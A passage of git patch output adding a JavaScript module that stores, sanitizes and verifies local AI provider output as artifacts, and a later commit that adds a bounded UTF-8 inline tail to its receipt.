attachLocalProviderResultSink(root, terminal, outputValue, false); } catch (error) { if (!dispatchUncertain && !authenticationFailure(error)) { const fallback = await fallbackToCliIfSafe({ root, task, prompt, signal, error }); @@ -892,10 +936,12 @@ export async function runAcpTask({ root, taskId, signal } = {}) { controller.signal.addEventListener('abort', cancel, { once: true }); let lastEvent = null; const output = createProviderResultAccumulator({ sanitize: (text) => sanitizeText(text, prompt) }); + const complete = createLocalProviderResultCollectorV1(); try { for await (const event of turn.events) { if (event?.type === 'text_delta' && event.stream !== 'thought' && typeof event.text === 'string') { output.append(event.text); + complete.append(event.text); } const compact = boundedEvent(event, prompt); await appendTaskEvent(root, taskId, { type: 'provider', event: compact }); @@ -918,7 +964,9 @@ export async function runAcpTask({ root, taskId, signal } = {}) { finished_at: new Date().toISOString(), }); await appendTaskEvent(root, taskId, { type: 'terminal', status, stop_reason: result.stopReason ?? null }); - return terminal; + return attachLocalProviderResultSink( + root, terminal, sinkSourceFromCollector(complete), false, + ); } catch (error) { const failure = publicError(error, prompt); const current = (await readTask(root, taskId)).task; diff --git a/plugins/codex-co-engineer/mcp/v3/local-provider-result-sink.mjs b/plugins/codex-co-engineer/mcp/v3/local-provider-result-sink.mjs new file mode 100644 index 0000000..94a98fc --- /dev/null +++ b/plugins/codex-co-engineer/mcp/v3/local-provider-result-sink.mjs @@ -0,0 +1,699 @@ +// Local provider result sink (P11; ADR 0001 identifiers +// `bounded_evidence`, `exact_identities`, +// `sanitized_bounded_evidence_model_facing`, +// Gate A `gate_a_valid_raw_and_sanitized_artifacts`, +// `codex_only_final_acceptance`). +// +// Additive v3 module. It is the provider-neutral authority that routes +// final local Grok ACP, Cursor Local ACP, and DSH ACPX/CLI output into +// the accepted P08/P09 raw+sanitized artifact store. It does not sanitize, +// store, or range-read on its own: P09 `sanitizeAndPublishArtifactV1` and +// P08 `verifyStoredArtifactV1` remain the publication/verify authorities. +// +// Contract: +// - Exact run_id / assignment_id / provider / model / optional child +// envelope digest identity is bound into the ArtifactRefV1 path and +// the detached receipt. Identities are never guessed or rewritten. +// - The complete transport-available result is stored up to the existing +// raw class cap. Older output is never silently dropped. If the +// upstream/transport was already clipped, available bytes are persisted +// and source_truncated/complete are recorded truthfully. +// - Only sanitized artifacts are model-readable. The return is detached +// deep-frozen content-free metadata: refs, provenance, digests, counts, +// truncation. Never raw bytes, secrets, prompt text, or live handles. +// - Empty output is not published and does not invent an artifact. +// - Crossing a class cap fails closed rather than clipping toward the cap. +// - Publication that does not verify is not reported. +// +// Provider completion remains evidence, never acceptance. This module does +// not mark tasks complete, replay provider work, or talk to supervisor, +// server, scheduler, or the cloud worker. + +import { Buffer as NodeBuffer } from 'node:buffer'; +import { createHash } from 'node:crypto'; +import { chmod, mkdir } from 'node:fs/promises'; +import path from 'node:path'; +import { types as utilTypes } from 'node:util'; + +import { + ARTIFACT_REF_SCHEMA_ID, + MAX_RAW_ARTIFACT_BYTE_LENGTH, + MIN_ARTIFACT_BYTE_LENGTH, + artifactRefDigestV1, + parseArtifactRefV1, +} from './artifact-ref.mjs'; +import { + ARTIFACT_SANITIZER_SCHEMA_ID, + SANITIZER_CONTENT_ENCODING, + SANITIZER_MEDIA_TYPES, + sanitizeAndPublishArtifactV1, +} from './artifact-sanitizer.mjs'; +import { + openArtifactStoreV1, + verifyStoredArtifactV1, +} from './artifact-store.mjs'; +import { + capturedFreeze, + capturedIncludes, + capturedTest, + isKnownProvider, + isModelId, + sortedCapturedKeys, +} from './grammar.mjs'; +import { DIGEST_HEX_LENGTH } from './identity.mjs'; +import { + RunContractV1Error, + assertRunId, + isAssignmentId, +} from './run-manifest.mjs'; +import { + assertDirectJsonClosure, + assertPlainObject, + fail, + freezeData, + hasOwn, + ownDataValue, +} from './selection-json.mjs'; + +export const LOCAL_PROVIDER_RESULT_SINK_SCHEMA_ID = + 'codex-co-engineer.local-provider-result-sink.v1'; +export const LOCAL_PROVIDER_RESULT_SINK_VERSION = 1; +export const LOCAL_PROVIDER_RESULT_ARTIFACT_KIND = 'provider_report'; +export const LOCAL_PROVIDER_RESULT_STORE_DIR = 'artifacts'; + +export const LOCAL_PROVIDER_RESULT_SINK_PROVIDERS = capturedFreeze([ + 'grok', 'cursor-local', 'dsh', +]); + +export const LOCAL_PROVIDER_RESULT_SINK_OPTION_KEYS = capturedFreeze([ + 'run_id', + 'assignment_id', + 'provider', + 'model', + 'child_envelope_digest', + 'source', + 'source_truncated', + 'media_type', +]); + +export const LOCAL_PROVIDER_RESULT_SINK_RECEIPT_KEYS = capturedFreeze([ + 'schema', + 'version', + 'published', + 'empty', + 'run_id', + 'assignment_id', + 'provider', + 'model', + 'child_envelope_digest', + 'artifact_kind', + 'relative_path', + 'media_type', + 'raw_ref', + 'sanitized_ref', + 'raw_digest', + 'sanitized_digest', + 'ref_digest_raw', + 'ref_digest_sanitized', + 'source_byte_length', + 'sanitized_byte_length', + 'redaction_counts', + 'sanitizer_version', + 'policy_id', + 'complete', + 'source_truncated', + 'provenance', +]); + +export const LOCAL_PROVIDER_RESULT_SINK_FAILURE_KEYS = capturedFreeze([ + 'schema', + 'version', + 'published', + 'error', +]); + +export const LOCAL_PROVIDER_RESULT_SINK_ERROR_CODES = capturedFreeze([ + 'artifact_sink_failed', + 'artifact_sink_not_verified', + 'artifact_stream_invalid_chunk', + 'artifact_stream_invalid_source', + 'artifact_stream_over_cap', + 'invalid_format', + 'invalid_type', + 'local_provider_required', + 'missing_key', + 'unknown_key', + 'unknown_provider', +]); + +const PRIVATE_SHA256_PATTERN = /^[0-9a-f]{64}$/u; +const INTRINSIC_VIEW_SURFACE_KEYS = capturedFreeze([ + 'buffer', + 'byteOffset', + 'byteLength', + 'subarray', +]); + +const CREATE_HASH = createHash; +const BUFFER_FROM = NodeBuffer.from.bind(NodeBuffer); +const BUFFER_CONCAT = NodeBuffer.concat.bind(NodeBuffer); +const BUFFER_ALLOC = NodeBuffer.alloc.bind(NodeBuffer); +const JSON_STRINGIFY = JSON.stringify; +const STRING = String; +const PATH_JOIN = path.join; +const PATH_RESOLVE = path.resolve; +const PATH_IS_ABSOLUTE = path.isAbsolute; +const MKDIR = mkdir; +const CHMOD = chmod; +const OBJECT_GET_PROTOTYPE_OF = Object.getPrototypeOf; +const OBJECT_GET_OWN_PROPERTY_DESCRIPTOR = Object.getOwnPropertyDescriptor; +const REFLECT_HAS = Reflect.has; +const ARRAY_BUFFER_IS_VIEW = ArrayBuffer.isView; +const IS_PROXY = utilTypes.isProxy; +const IS_ARRAY_BUFFER = utilTypes.isArrayBuffer; +const IS_SHARED_ARRAY_BUFFER = utilTypes.isSharedArrayBuffer; +const NUMBER_IS_FINITE = Number.isFinite; + +const UINT8ARRAY_PROTOTYPE = Uint8Array.prototype; +const BUFFER_PROTOTYPE = NodeBuffer.prototype; +const OBJECT_PROTOTYPE = Object.prototype; +const ASYNC_GENERATOR_PROTOTYPE = OBJECT_GET_PROTOTYPE_OF( + Object.getPrototypeOf((async function* () {}).prototype), +); +const SYMBOL_ASYNC_ITERATOR = Symbol.asyncIterator; + +function diagnostic(message) { + const text = STRING(message ?? ''); + return text.length <= 200 ? text : text.slice(0, 200); +} + +function failSink(code, field, message) { + fail(code, field, diagnostic(message)); +} + +function hasOwnIntrinsicViewSurfaceOverride(value) { + try { + for (let index = 0; index < INTRINSIC_VIEW_SURFACE_KEYS.length; index += 1) { + const descriptor = OBJECT_GET_OWN_PROPERTY_DESCRIPTOR( + value, + INTRINSIC_VIEW_SURFACE_KEYS[index], + ); + if (descriptor !== undefined) return true; + } + return false; + } catch { + return true; + } +} + +function isIntrinsicBinaryView(value) { + if (value === null || typeof value !== 'object') return false; + if (IS_PROXY(value)) return false; + const proto = OBJECT_GET_PROTOTYPE_OF(value); + if (proto !== UINT8ARRAY_PROTOTYPE && proto !== BUFFER_PROTOTYPE) return false; + if (!ARRAY_BUFFER_IS_VIEW(value)) return false; + if (hasOwnIntrinsicViewSurfaceOverride(value)) return false; + const backing = value.buffer; + if (!IS_ARRAY_BUFFER(backing) || IS_SHARED_ARRAY_BUFFER(backing)) return false; + return true; +} + +function snapshotView(view) { + const copy = BUFFER_ALLOC(view.byteLength); + copy.set(view); + return copy; +} + +function isAcceptableAsyncIterable(source) { + let proto = OBJECT_GET_PROTOTYPE_OF(source); + for (let depth = 0; depth < 4 && proto !== null; depth += 1) { + if (IS_PROXY(proto)) return false; + if (proto === ASYNC_GENERATOR_PROTOTYPE) return true; + if (proto === OBJECT_PROTOTYPE) break; + proto = OBJECT_GET_PROTOTYPE_OF(proto); + } + if (proto !== null && proto !== OBJECT_PROTOTYPE) return false; + if (!REFLECT_HAS(source, SYMBOL_ASYNC_ITERATOR)) return false; + const descriptor = OBJECT_GET_OWN_PROPERTY_DESCRIPTOR(source, SYMBOL_ASYNC_ITERATOR); + if (descriptor === undefined || descriptor.get !== undefined) return false; + return typeof descriptor.value === 'function'; +} + +function digestOf(bytes) { + return CREATE_HASH('sha256').update(bytes).digest('hex'); +} + +function mediaExtension(mediaType) { + if (mediaType === 'application/json') return 'json'; + if (mediaType === 'application/x-ndjson') return 'ndjson'; + if (mediaType === 'text/markdown') return 'md'; + return 'txt'; +} + +function providerReportPath(runId, assignmentId, mediaType) { + return `runs/${runId}/${assignmentId}/provider-report.${mediaExtension(mediaType)}`; +} + +function encodeJsonValue(value) { + assertDirectJsonClosure(value, 'source'); + try { + const text = JSON_STRINGIFY(value); + if (typeof text !== 'string') { + failSink('invalid_type', 'source', + 'The provider result JSON value could not be serialized.'); + } + return BUFFER_FROM(text, 'utf8'); + } catch (error) { + if (error instanceof RunContractV1Error) throw error; + failSink('invalid_type', 'source', + 'The provider result JSON value could not be serialized.'); + } +} + +function chunkToBytes(chunk, field) { + if (typeof chunk === 'string') return BUFFER_FROM(chunk, 'utf8'); + if (isIntrinsicBinaryView(chunk)) return snapshotView(chunk); + failSink('artifact_stream_invalid_chunk', field, + 'Every stream chunk must be a string or an intrinsic Buffer/Uint8Array view.'); +} + +async function collectStream(iterable) { + const parts = []; + let total = 0; + try { + for await (const chunk of iterable) { + const bytes = chunkToBytes(chunk, 'source'); + if (total + bytes.byteLength > MAX_RAW_ARTIFACT_BYTE_LENGTH) { + failSink('artifact_stream_over_cap', 'source', + `The provider result exceeded the ${MAX_RAW_ARTIFACT_BYTE_LENGTH}-byte raw class cap; nothing was published.`); + } + parts.push(bytes); + total += bytes.byteLength; + } + } catch (error) { + if (error instanceof RunContractV1Error) throw error; + failSink('artifact_sink_failed', 'source', + 'The provider result stream failed before its declared length; nothing was published.'); + } + if (total === 0) return BUFFER_ALLOC(0); + if (parts.length === 1) return parts[0]; + return BUFFER_CONCAT(parts, total); +} + +function cliJsonCandidate(value) { + const candidates = typeof value === 'string' + ? [value] + : [value?.result, value?.text, value?.message?.content, value?.content?.text, value?.delta?.text]; + return candidates.find((candidate) => typeof candidate === 'string' && candidate.length > 0) + ?? candidates.find((candidate) => typeof candidate === 'string'); +} + +export function collectCliProviderOutputV1(stdout) { + const raw = STRING(stdout ?? ''); + if (!raw.trim()) return BUFFER_ALLOC(0); + const lines = raw.split(/\r?\n/u); + while (lines.at(-1) === '') lines.pop(); + const records = []; + for (const line of lines) { + try { + const candidate = cliJsonCandidate(JSON.parse(line)); + if (typeof candidate === 'string') records.push({ kind: 'structured', text: candidate }); + } catch { + records.push({ kind: 'plain', text: line }); + } + } + if (records.length === 0) return BUFFER_FROM(raw.trim(), 'utf8'); + let joined = ''; + let previousKind = null; + for (let index = 0; index < records.length; index += 1) { + const record = records[index]; + if (record.kind === 'plain') { + if (previousKind === 'structured') joined += '\n'; + joined += record.text; + if (index < records.length - 1) joined += '\n'; + } else { + joined += record.text; + } + previousKind = record.kind; + } + return BUFFER_FROM(joined, 'utf8'); +} + +export function createLocalProviderResultCollectorV1() { + const parts = []; + let total = 0; + let overflow = false; + + return capturedFreeze({ + append(value) { + if (overflow || value === null || value === undefined) return; + const bytes = typeof value === 'string' + ? BUFFER_FROM(value, 'utf8') + : isIntrinsicBinaryView(value) + ? snapshotView(value) + : null; + if (bytes === null) { + failSink('artifact_stream_invalid_chunk', 'source', + 'Collector chunks must be strings or intrinsic Buffer/Uint8Array views.'); + } + if (total + bytes.byteLength > MAX_RAW_ARTIFACT_BYTE_LENGTH) { + overflow = true; + return; + } + parts.push(bytes); + total += bytes.byteLength; + }, + snapshot() { + const source = total === 0 + ? BUFFER_ALLOC(0) + : (parts.length === 1 ? parts[0] : BUFFER_CONCAT(parts, total)); + return capturedFreeze({ + source, + byte_length: total, + overflow: overflow === true, + }); + }, + }); +} + +async function normalizeSource(source) { + if (source === null || source === undefined) { + return { bytes: BUFFER_ALLOC(0), mediaType: 'text/plain' }; + } + if (typeof source === 'string') { + return { bytes: BUFFER_FROM(source, 'utf8'), mediaType: 'text/plain' }; + } + if (typeof source === 'number' || typeof source === 'boolean') { + if (typeof source === 'number' && !NUMBER_IS_FINITE(source)) { + failSink('invalid_type', 'source', 'JSON number results must be finite.'); + } + return { bytes: BUFFER_FROM(JSON_STRINGIFY(source), 'utf8'), mediaType: 'application/json' }; + } + if (isIntrinsicBinaryView(source)) { + return { bytes: snapshotView(source), mediaType: 'text/plain' }; + } + if (source !== null && typeof source === 'object') { + if (IS_PROXY(source)) { + failSink('proxy_denied', 'source', 'The provider result source is a live or revoked Proxy.'); + } + if (isAcceptableAsyncIterable(source)) { + return { bytes: await collectStream(source), mediaType: 'text/plain' }; + } + if (Array.isArray(source) || OBJECT_GET_PROTOTYPE_OF(source) === OBJECT_PROTOTYPE + || OBJECT_GET_PROTOTYPE_OF(source) === null) { + return { bytes: encodeJsonValue(source), mediaType: 'application/json' }; + } + } + failSink('artifact_stream_invalid_source', 'source', + 'The provider result source must be a string, JSON value, intrinsic byte view, or async iterable of such chunks.'); +} + +function parseIdentity(input) { + if (!hasOwn(input, 'run_id')) { + failSink('missing_key', 'options.run_id', + 'options.run_id is required; the sink binds one exact run identity.'); + } + if (!hasOwn(input, 'assignment_id')) { + failSink('missing_key', 'options.assignment_id', + 'options.assignment_id is required; the sink binds one exact child identity.'); + } + if (!hasOwn(input, 'provider')) { + failSink('missing_key', 'options.provider', + 'options.provider is required; the sink binds one exact local provider.'); + } + if (!hasOwn(input, 'model')) { + failSink('missing_key', 'options.model', + 'options.model is required; the sink binds one exact model identity.'); + } + + const runId = ownDataValue(input, 'run_id', 'options.run_id'); + assertRunId(runId, 'options.run_id'); + const assignmentId = ownDataValue(input, 'assignment_id', 'options.assignment_id'); + if (typeof assignmentId !== 'string' || !isAssignmentId(assignmentId)) { + failSink('invalid_format', 'options.assignment_id', + 'options.assignment_id violates the assignment-id grammar; child artifacts bind one exact child.'); + } + const provider = ownDataValue(input, 'provider', 'options.provider'); + if (typeof provider !== 'string' || !isKnownProvider(provider)) { + failSink('unknown_provider', 'options.provider', + 'options.provider must be a known provider.'); + } + if (!capturedIncludes(LOCAL_PROVIDER_RESULT_SINK_PROVIDERS, provider)) { + failSink('local_provider_required', 'options.provider', + 'The local provider result sink accepts only grok, cursor-local, and dsh.'); + } + const model = ownDataValue(input, 'model', 'options.model'); + if (!isModelId(model)) { + failSink('invalid_format', 'options.model', + 'options.model must be an exact model identifier.'); + } + + let childEnvelopeDigest = null; + if (hasOwn(input, 'child_envelope_digest')) { + const digest = ownDataValue(input, 'child_envelope_digest', 'options.child_envelope_digest'); + if (typeof digest !== 'string' + || digest.length !== DIGEST_HEX_LENGTH + || !capturedTest(PRIVATE_SHA256_PATTERN, digest)) { + failSink('invalid_format', 'options.child_envelope_digest', + 'options.child_envelope_digest must be an exact lowercase SHA-256 hex digest when present.'); + } + childEnvelopeDigest = digest; + } + + return capturedFreeze({ + run_id: runId, + assignment_id: assignmentId, + provider, + model, + child_envelope_digest: childEnvelopeDigest, + }); +} + +function parseSourceTruncated(input) { + if (!hasOwn(input, 'source_truncated')) return false; + const flagged = ownDataValue(input, 'source_truncated', 'options.source_truncated'); + if (flagged !== true && flagged !== false) { + failSink('invalid_type', 'options.source_truncated', + 'options.source_truncated must be an exact boolean when present.'); + } + return flagged === true; +} + +function parseMediaType(input, inferred) { + if (!hasOwn(input, 'media_type')) return inferred; + const mediaType = ownDataValue(input, 'media_type', 'options.media_type'); + if (!capturedIncludes(SANITIZER_MEDIA_TYPES, mediaType)) { + failSink('invalid_format', 'options.media_type', + 'options.media_type must be an identity-encoded text media type.'); + } + return mediaType; +} + +function parseOptions(input) { + assertPlainObject(input, 'invalid_type', 'options', 'The local provider result sink options'); + const keys = sortedCapturedKeys(input); + for (let index = 0; index < keys.length; index += 1) { + if (!capturedIncludes(LOCAL_PROVIDER_RESULT_SINK_OPTION_KEYS, keys[index])) { + failSink('unknown_key', `options.${keys[index]}`, + `options.${keys[index]} is not part of the closed sink vocabulary.`); + } + } + if (!hasOwn(input, 'source')) { + failSink('missing_key', 'options.source', + 'options.source is required; the sink never reads stored artifacts to recover a result.'); + } + const identity = parseIdentity(input); + const sourceTruncated = parseSourceTruncated(input); + const source = ownDataValue(input, 'source', 'options.source'); + return { identity, sourceTruncated, source, input }; +} + +function emptyReceipt(identity, sourceTruncated) { + return freezeData({ + schema: LOCAL_PROVIDER_RESULT_SINK_SCHEMA_ID, + version: LOCAL_PROVIDER_RESULT_SINK_VERSION, + published: false, + empty: true, + run_id: identity.run_id, + assignment_id: identity.assignment_id, + provider: identity.provider, + model: identity.model, + child_envelope_digest: identity.child_envelope_digest, + artifact_kind: LOCAL_PROVIDER_RESULT_ARTIFACT_KIND, + relative_path: null, + media_type: null, + raw_ref: null, + sanitized_ref: null, + raw_digest: null, + sanitized_digest: null, + ref_digest_raw: null, + ref_digest_sanitized: null, + source_byte_length: 0, + sanitized_byte_length: 0, + redaction_counts: null, + sanitizer_version: null, + policy_id: null, + complete: sourceTruncated !== true, + source_truncated: sourceTruncated === true, + provenance: null, + }); +} + +function publishedReceipt(identity, mediaType, relativePath, provenance) { + const rawRef = provenance.raw_ref; + const sanitizedRef = provenance.sanitized_ref; + return freezeData({ + schema: LOCAL_PROVIDER_RESULT_SINK_SCHEMA_ID, + version: LOCAL_PROVIDER_RESULT_SINK_VERSION, + published: true, + empty: false, + run_id: identity.run_id, + assignment_id: identity.assignment_id, + provider: identity.provider, + model: identity.model, + child_envelope_digest: identity.child_envelope_digest, + artifact_kind: LOCAL_PROVIDER_RESULT_ARTIFACT_KIND, + relative_path: relativePath, + media_type: mediaType, + raw_ref: rawRef, + sanitized_ref: sanitizedRef, + raw_digest: provenance.source_digest, + sanitized_digest: provenance.sanitized_digest, + ref_digest_raw: artifactRefDigestV1(rawRef, 'raw_ref').digest, + ref_digest_sanitized: artifactRefDigestV1(sanitizedRef, 'sanitized_ref').digest, + source_byte_length: provenance.source_byte_length, + sanitized_byte_length: provenance.sanitized_byte_length, + redaction_counts: provenance.redaction_counts, + sanitizer_version: provenance.sanitizer_version, + policy_id: provenance.policy_id, + complete: provenance.complete === true, + source_truncated: provenance.source_truncated === true, + provenance, + }); +} + +export function contentFreeSinkFailureV1(error) { + const fromContract = error instanceof RunContractV1Error; + const code = fromContract && typeof error.code === 'string' + ? error.code + : 'artifact_sink_failed'; + const field = fromContract && typeof error.path === 'string' + ? error.path + : 'sink'; + const message = fromContract + ? diagnostic(error.message) + : 'The local provider result sink failed after provider terminal publication.'; + return freezeData({ + schema: LOCAL_PROVIDER_RESULT_SINK_SCHEMA_ID, + version: LOCAL_PROVIDER_RESULT_SINK_VERSION, + published: false, + error: freezeData({ + code, + path: diagnostic(field), + message, + }), + }); +} + +export function localProviderResultIdentityFromTaskV1(task) { + if (task === null || typeof task !== 'object' || Array.isArray(task)) return null; + if (IS_PROXY(task)) return null; + if (!hasOwn(task, 'run_id') || !hasOwn(task, 'assignment_id') || !hasOwn(task, 'provider')) { + return null; + } + let model; + if (hasOwn(task, 'model')) model = task.model; + else if (task.provider === 'dsh' && hasOwn(task, 'dsh_model')) model = task.dsh_model; + if (model === null || model === undefined) return null; + const identity = { + run_id: task.run_id, + assignment_id: task.assignment_id, + provider: task.provider, + model, + }; + if (hasOwn(task, 'child_envelope_digest')) { + identity.child_envelope_digest = task.child_envelope_digest; + } + return freezeData(identity); +} + +export async function openLocalProviderArtifactStoreV1(stateRoot) { + if (typeof stateRoot !== 'string' || stateRoot.length === 0) { + failSink('invalid_type', 'root', + 'The artifact store state root must be an absolute path string.'); + } + if (!PATH_IS_ABSOLUTE(stateRoot)) { + failSink('invalid_format', 'root', + 'The artifact store state root must be an absolute path string.'); + } + const artifactsRoot = PATH_JOIN(PATH_RESOLVE(stateRoot), LOCAL_PROVIDER_RESULT_STORE_DIR); + try { + await MKDIR(artifactsRoot, { recursive: true, mode: 0o700 }); + await CHMOD(artifactsRoot, 0o700); + } catch (error) { + if (error instanceof RunContractV1Error) throw error; + failSink('artifact_sink_failed', 'root', + 'The local provider artifact store root could not be prepared.'); + } + return openArtifactStoreV1({ root: artifactsRoot }); +} + +export async function sinkLocalProviderResultV1(store, input) { + const { identity, sourceTruncated, source, input: options } = parseOptions(input); + const normalized = await normalizeSource(source); + const mediaType = parseMediaType(options, normalized.mediaType); + const bytes = normalized.bytes; + + if (bytes.byteLength > MAX_RAW_ARTIFACT_BYTE_LENGTH) { + failSink('artifact_stream_over_cap', 'source', + `The provider result exceeded the ${MAX_RAW_ARTIFACT_BYTE_LENGTH}-byte raw class cap; nothing was published.`); + } + if (bytes.byteLength < MIN_ARTIFACT_BYTE_LENGTH) { + return emptyReceipt(identity, sourceTruncated); + } + + const relativePath = providerReportPath(identity.run_id, identity.assignment_id, mediaType); + const rawRef = parseArtifactRefV1({ + schema: ARTIFACT_REF_SCHEMA_ID, + run_id: identity.run_id, + assignment_id: identity.assignment_id, + artifact_kind: LOCAL_PROVIDER_RESULT_ARTIFACT_KIND, + artifact_class: 'raw', + relative_path: relativePath, + byte_length: bytes.byteLength, + sha256: digestOf(bytes), + media_type: mediaType, + content_encoding: SANITIZER_CONTENT_ENCODING, + }, 'artifact_ref'); + + const provenance = await sanitizeAndPublishArtifactV1(store, { + artifact_ref: rawRef, + source: bytes, + source_truncated: sourceTruncated, + }); + if (provenance.schema !== ARTIFACT_SANITIZER_SCHEMA_ID) { + failSink('artifact_sink_not_verified', 'provenance', + 'The sanitizer returned provenance the sink does not recognize; nothing is reported.'); + } + + const rawVerdict = await verifyStoredArtifactV1(store, provenance.raw_ref); + const sanitizedVerdict = await verifyStoredArtifactV1(store, provenance.sanitized_ref); + if (rawVerdict.verified !== true || sanitizedVerdict.verified !== true) { + failSink('artifact_sink_not_verified', 'artifact_ref', + 'Published provider-result artifacts did not verify; nothing is reported.'); + } + + return publishedReceipt(identity, mediaType, relativePath, provenance); +} + +capturedFreeze(sinkLocalProviderResultV1); +capturedFreeze(openLocalProviderArtifactStoreV1); +capturedFreeze(createLocalProviderResultCollectorV1); +capturedFreeze(collectCliProviderOutputV1); +capturedFreeze(contentFreeSinkFailureV1); +capturedFreeze(localProviderResultIdentityFromTaskV1); +capturedFreeze(LOCAL_PROVIDER_RESULT_SINK_PROVIDERS); +capturedFreeze(LOCAL_PROVIDER_RESULT_SINK_OPTION_KEYS); +capturedFreeze(LOCAL_PROVIDER_RESULT_SINK_RECEIPT_KEYS); +capturedFreeze(LOCAL_PROVIDER_RESULT_SINK_FAILURE_KEYS); +capturedFreeze(LOCAL_PROVIDER_RESULT_SINK_ERROR_CODES); From f64a4633f92b3dd56bd3dcf0b58317c6cf038446 Mon Sep 17 00:00:00 2001 From: Cole Lyons Date: Sun, 23 Aug 2026 00:12:39 +0000 Subject: [PATCH 30/81] feat(provider): retain bounded sanitized inline tails MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Keep a default inline tail of at most 4,096 UTF-8 bytes on the provider-neutral sink receipt, derived through the accepted P10 sanitized bounded reader and aligned on a valid UTF-8 boundary. Tail metadata records inline clipping separately from upstream source_truncated/complete provenance, and the receipt still returns only detached content-free metadata — never raw bytes, secrets, or live handles. --- .../mcp/v3/local-provider-result-sink.mjs | 79 ++++++++++++++++++- 1 file changed, 75 insertions(+), 4 deletions(-) diff --git a/plugins/codex-co-engineer/mcp/v3/local-provider-result-sink.mjs b/plugins/codex-co-engineer/mcp/v3/local-provider-result-sink.mjs index 94a98fc..f01fd5b 100644 --- a/plugins/codex-co-engineer/mcp/v3/local-provider-result-sink.mjs +++ b/plugins/codex-co-engineer/mcp/v3/local-provider-result-sink.mjs @@ -8,7 +8,8 @@ // final local Grok ACP, Cursor Local ACP, and DSH ACPX/CLI output into // the accepted P08/P09 raw+sanitized artifact store. It does not sanitize, // store, or range-read on its own: P09 `sanitizeAndPublishArtifactV1` and -// P08 `verifyStoredArtifactV1` remain the publication/verify authorities. +// P08 `verifyStoredArtifactV1` remain the publication/verify authorities, +// and P10 `readSanitizedArtifactV1` is the only model-facing tail reader. // // Contract: // - Exact run_id / assignment_id / provider / model / optional child @@ -20,7 +21,11 @@ // and source_truncated/complete are recorded truthfully. // - Only sanitized artifacts are model-readable. The return is detached // deep-frozen content-free metadata: refs, provenance, digests, counts, -// truncation. Never raw bytes, secrets, prompt text, or live handles. +// truncation, and a default inline tail of at most 4,096 UTF-8 bytes +// derived through the accepted P10 sanitized reader/ref and aligned +// on a valid UTF-8 boundary. Tail metadata distinguishes inline +// clipping from upstream source truncation. Never raw bytes, secrets, +// prompt text, or live handles. // - Empty output is not published and does not invent an artifact. // - Crossing a class cap fails closed rather than clipping toward the cap. // - Publication that does not verify is not reported. @@ -42,6 +47,9 @@ import { artifactRefDigestV1, parseArtifactRefV1, } from './artifact-ref.mjs'; +import { + readSanitizedArtifactV1, +} from './artifact-reader.mjs'; import { ARTIFACT_SANITIZER_SCHEMA_ID, SANITIZER_CONTENT_ENCODING, @@ -80,6 +88,7 @@ export const LOCAL_PROVIDER_RESULT_SINK_SCHEMA_ID = export const LOCAL_PROVIDER_RESULT_SINK_VERSION = 1; export const LOCAL_PROVIDER_RESULT_ARTIFACT_KIND = 'provider_report'; export const LOCAL_PROVIDER_RESULT_STORE_DIR = 'artifacts'; +export const LOCAL_PROVIDER_RESULT_SINK_INLINE_TAIL_MAX_BYTES = 4_096; export const LOCAL_PROVIDER_RESULT_SINK_PROVIDERS = capturedFreeze([ 'grok', 'cursor-local', 'dsh', @@ -123,6 +132,21 @@ export const LOCAL_PROVIDER_RESULT_SINK_RECEIPT_KEYS = capturedFreeze([ 'complete', 'source_truncated', 'provenance', + 'inline_tail', +]); + +export const LOCAL_PROVIDER_RESULT_SINK_INLINE_TAIL_KEYS = capturedFreeze([ + 'encoding', + 'text', + 'byte_length', + 'offset', + 'max_bytes', + 'inline_clipped', + 'source_truncated', + 'complete', + 'reader_clipped', + 'more', + 'next_offset', ]); export const LOCAL_PROVIDER_RESULT_SINK_FAILURE_KEYS = capturedFreeze([ @@ -536,10 +560,54 @@ function emptyReceipt(identity, sourceTruncated) { complete: sourceTruncated !== true, source_truncated: sourceTruncated === true, provenance: null, + inline_tail: null, + }); +} + +function utf8BoundaryStart(bytes, fromOffset) { + if (fromOffset === 0) return 0; + let start = 0; + while (start < bytes.byteLength && (bytes[start] & 0xc0) === 0x80) start += 1; + return start; +} + +async function readInlineTail(store, provenance) { + const length = provenance.sanitized_byte_length; + const maxBytes = LOCAL_PROVIDER_RESULT_SINK_INLINE_TAIL_MAX_BYTES; + const offset = length > maxBytes ? length - maxBytes : 0; + const page = await readSanitizedArtifactV1(store, provenance.sanitized_ref, { + offset, + max_bytes: maxBytes, + }); + const selected = BUFFER_FROM(page.selected_content, 'base64'); + if (selected.byteLength !== page.selected_byte_length) { + failSink('invalid_format', 'inline_tail', + 'The sanitized reader returned a tail whose encoding did not round-trip.'); + } + const start = utf8BoundaryStart(selected, offset); + const aligned = start === 0 ? selected : selected.subarray(start); + const text = aligned.toString('utf8'); + const tailBytes = BUFFER_FROM(text, 'utf8'); + if (tailBytes.byteLength > maxBytes) { + failSink('invalid_format', 'inline_tail', + 'The inline tail exceeded the 4096-byte UTF-8 cap after boundary alignment.'); + } + return freezeData({ + encoding: 'utf8', + text, + byte_length: tailBytes.byteLength, + offset: offset + start, + max_bytes: maxBytes, + inline_clipped: (offset + start) > 0 || tailBytes.byteLength < length, + source_truncated: provenance.source_truncated === true, + complete: provenance.complete === true, + reader_clipped: page.reader_clipped === true, + more: page.more === true, + next_offset: page.next_offset, }); } -function publishedReceipt(identity, mediaType, relativePath, provenance) { +function publishedReceipt(identity, mediaType, relativePath, provenance, inlineTail) { const rawRef = provenance.raw_ref; const sanitizedRef = provenance.sanitized_ref; return freezeData({ @@ -569,6 +637,7 @@ function publishedReceipt(identity, mediaType, relativePath, provenance) { complete: provenance.complete === true, source_truncated: provenance.source_truncated === true, provenance, + inline_tail: inlineTail, }); } @@ -683,7 +752,8 @@ export async function sinkLocalProviderResultV1(store, input) { 'Published provider-result artifacts did not verify; nothing is reported.'); } - return publishedReceipt(identity, mediaType, relativePath, provenance); + const inlineTail = await readInlineTail(store, provenance); + return publishedReceipt(identity, mediaType, relativePath, provenance, inlineTail); } capturedFreeze(sinkLocalProviderResultV1); @@ -695,5 +765,6 @@ capturedFreeze(localProviderResultIdentityFromTaskV1); capturedFreeze(LOCAL_PROVIDER_RESULT_SINK_PROVIDERS); capturedFreeze(LOCAL_PROVIDER_RESULT_SINK_OPTION_KEYS); capturedFreeze(LOCAL_PROVIDER_RESULT_SINK_RECEIPT_KEYS); +capturedFreeze(LOCAL_PROVIDER_RESULT_SINK_INLINE_TAIL_KEYS); capturedFreeze(LOCAL_PROVIDER_RESULT_SINK_FAILURE_KEYS); capturedFreeze(LOCAL_PROVIDER_RESULT_SINK_ERROR_CODES); From 